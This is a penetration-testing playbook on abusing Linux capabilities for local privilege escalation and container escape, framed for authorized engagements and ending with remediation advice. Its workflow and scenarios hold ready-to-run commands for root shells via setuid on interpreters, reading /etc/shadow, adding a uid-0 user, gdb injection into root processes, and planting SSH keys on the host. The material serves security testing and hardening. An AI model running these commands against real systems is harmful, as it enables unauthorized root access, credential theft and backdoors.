Exploiting Linux Capabilities
When to Use
- During authorized local privilege escalation when a user shell is obtained on a Linux host
- When linpeas/LinEnum flags binaries carrying file capabilities
- When assessing a container's effective capability set for escape potential
- When a custom or third-party binary has
setcapapplied (common with packet sniffers, web servers, language interpreters) - Any time SUID enumeration comes up empty but
getcap -r /shows interesting capabilities
Critical: Techniques Most Often Missed
Most testers run getcap -r / once, recognize cap_net_raw on ping, and move on. Capabilities on interpreters and "capability-dumb" binaries are the real wins.
- cap_setuid on an interpreter = instant root. A python/perl/ruby/node binary with
cap_setuid+epcan callsetuid(0)then spawn a shell.- How to CONFIRM:
getcap -r / 2>/dev/null | grep -i setuid, thenpython3 -c 'import os; os.setuid(0); os.system("id")'returnsuid=0.
- How to CONFIRM:
- cap_dac_read_search / cap_dac_override bypass file permissions.
read_searchreads any file (e.g./etc/shadow, SSH keys);overridealso writes.- How to CONFIRM: with the capable binary, read a file you normally cannot —
tar/pythonreading/etc/shadowsucceeds whilecat /etc/shadowis denied.
- How to CONFIRM: with the capable binary, read a file you normally cannot —
- cap_sys_admin in a container = host disk mount. Lets you
mountthe host block device andchrootto it.- How to CONFIRM: inside the container
capsh --print | grep sys_admin; thenfdisk -llists host disks andmount /dev/sda1 /mntsucceeds.
- How to CONFIRM: inside the container
- cap_sys_ptrace = inject into a root process. Attach to a root-owned PID and run shellcode or
call system(...)via gdb.- How to CONFIRM:
gdb -p <root_pid>thencall (void)system("id"); the action runs as the target's uid.
- How to CONFIRM:
- Empty-capability SUID-root trick. A non-root binary with no SUID bit but
getcapshowing=ep(empty) still runs as root per the capabilities man page.- How to CONFIRM:
getcap binaryreturnsbinary =ep; executing it yieldsuid=0despite no-rwsrbit.
- How to CONFIRM:
- Ambient capabilities passed via environment. Capability-dumb binaries accept ambient caps granted by a wrapper and run privileged operations.
- How to CONFIRM: inside the wrapper-spawned shell,
capsh --printshows caps in theCurrent:set that a normal user never has.
- How to CONFIRM: inside the wrapper-spawned shell,
Workflow
Step 1: Read Your Own Capability Sets
# Capabilities of the current process / shell
cat /proc/$$/status | grep Cap
capsh --print # decoded, human-readable
capsh --decode=0000003fffffffff # decode a raw hex mask
# Cap sets meaning:
# CapInh inherited | CapPrm permitted | CapEff effective
# CapBnd bounding | CapAmb ambient
Step 2: Hunt File Capabilities System-Wide
# The primary discovery command — run early in every engagement
getcap -r / 2>/dev/null
# Inspect a specific running process or binary
getpcaps <pid>
getcap /usr/bin/python3.11
# High-value strings to grep for in the output
getcap -r / 2>/dev/null | grep -Ei 'setuid|dac_read|dac_override|sys_admin|sys_ptrace|chown|fowner|net_raw'
Step 3: Exploit the Capability Found
# cap_setuid -> root shell (interpreters)
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
node -e 'process.setuid(0); require("child_process").execSync("/bin/bash",{stdio:"inherit"})'
# cap_dac_read_search -> read any file (e.g. shadow, root SSH key)
python3 -c 'print(open("/etc/shadow").read())'
./tar -cvf /dev/stdout /etc/shadow | tar -xO
# cap_dac_override -> overwrite any file (e.g. add a root user / sudoers)
python3 -c 'open("/etc/passwd","a").write("r00t:x:0:0::/root:/bin/bash\n")'
# cap_chown -> take ownership of a sensitive file then edit it
./chown $(id -u) /etc/shadow
# cap_sys_ptrace -> hijack a root process with gdb
gdb -p $(pgrep -u root -n .) -batch \
-ex 'call (void)system("cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash")'
/tmp/rootbash -p # -p preserves euid=0
Step 4: cap_sys_admin Container Escape (mount host disk)
capsh --print | grep -q sys_admin && echo "SYS_ADMIN present"
fdisk -l # identify host block device, e.g. /dev/sda1
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host # mount the host filesystem
chroot /mnt/host /bin/bash # shell on the host FS
# Or write a backdoor user / SSH key into /mnt/host/root/.ssh/authorized_keys
Step 5: Abuse Ambient Capabilities (capability-dumb binaries)
# Build a wrapper that raises ambient caps then execs a target binary.
# (ambient.c from the capabilities reference; needs libcap-ng)
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash
# Inside the spawned bash:
capsh --print # Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
Key Concepts
| Concept | Description |
|---|---|
| CapEff / CapPrm / CapInh | Effective (active), Permitted (max attainable), Inherited (passed to children) sets |
| CapBnd / CapAmb | Bounding set (lifetime ceiling) and Ambient set (preserved across execve) |
| File capabilities | Caps stored in a binary's extended attributes via setcap; +ep = effective+permitted |
| cap_setuid | Lets a process call setuid(0) — equivalent to root on an interpreter |
| cap_dac_read_search / cap_dac_override | Bypass file read (and write) permission checks |
| cap_sys_admin | Near-root; allows mount, namespace ops — primary container escape primitive |
| cap_sys_ptrace | Attach to and inject code into other processes, including root-owned ones |
| Capability-dumb binary | A binary unaware of caps that still performs privileged ops with granted caps |
Tools & Systems
| Tool | Purpose |
|---|---|
| capsh | Print/decode/drop capabilities (capsh --print, --decode=, --drop=) |
| getcap / setcap | Query and set file capabilities (getcap -r /, setcap cap_x+ep) |
| getpcaps | Show capabilities of a running process by PID |
| linpeas / LinEnum | Automated enumeration that flags capability-bearing binaries |
| GTFOBins | Lookup of capability/SUID escape one-liners per binary |
| amicontained | Reports the effective capability set inside a container |
| gdb | Attach to and execute code in root processes when cap_sys_ptrace is present |
Common Scenarios
Scenario 1: Python with cap_setuid
getcap -r / reveals /usr/bin/python3 = cap_setuid+ep. Running python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' yields an immediate root shell.
Scenario 2: tar/cat with cap_dac_read_search
A backup binary carries cap_dac_read_search+ep so an operator can back up files. The tester uses it to read /etc/shadow and /root/.ssh/id_rsa, then cracks/uses the credentials offline.
Scenario 3: Container with SYS_ADMIN
capsh --print inside a CI runner container shows cap_sys_admin. Mounting /dev/sda1 and chrooting writes an SSH key into the host's /root, achieving host compromise.
Scenario 4: cap_sys_ptrace privesc
A monitoring agent binary has cap_sys_ptrace+ep. Attaching gdb to a root-owned cron process and calling system() drops a SUID root shell at /tmp/rootbash.
Output Format
## Linux Capability Abuse Finding
**Vulnerability**: Privilege Escalation via File Capability
**Severity**: High / Critical
**Affected Binary**: /usr/bin/python3.11 = cap_setuid+ep
### Discovery
$ getcap -r / 2>/dev/null
/usr/bin/python3.11 = cap_setuid+ep
### Exploitation
$ /usr/bin/python3.11 -c 'import os; os.setuid(0); os.system("id")'
uid=0(root) gid=1000(user) groups=1000(user)
### Impact
Any local user can become root. On a container, equivalent caps
(cap_sys_admin) allow mounting the host disk and full host takeover.
### Recommendation
1. Remove the capability: setcap -r /usr/bin/python3.11
2. Never grant cap_setuid/cap_sys_admin/cap_dac_* to interpreters or shells
3. Apply least privilege; for containers drop ALL then add only required caps
(docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...)
4. Audit regularly with `getcap -r /` and alert on changes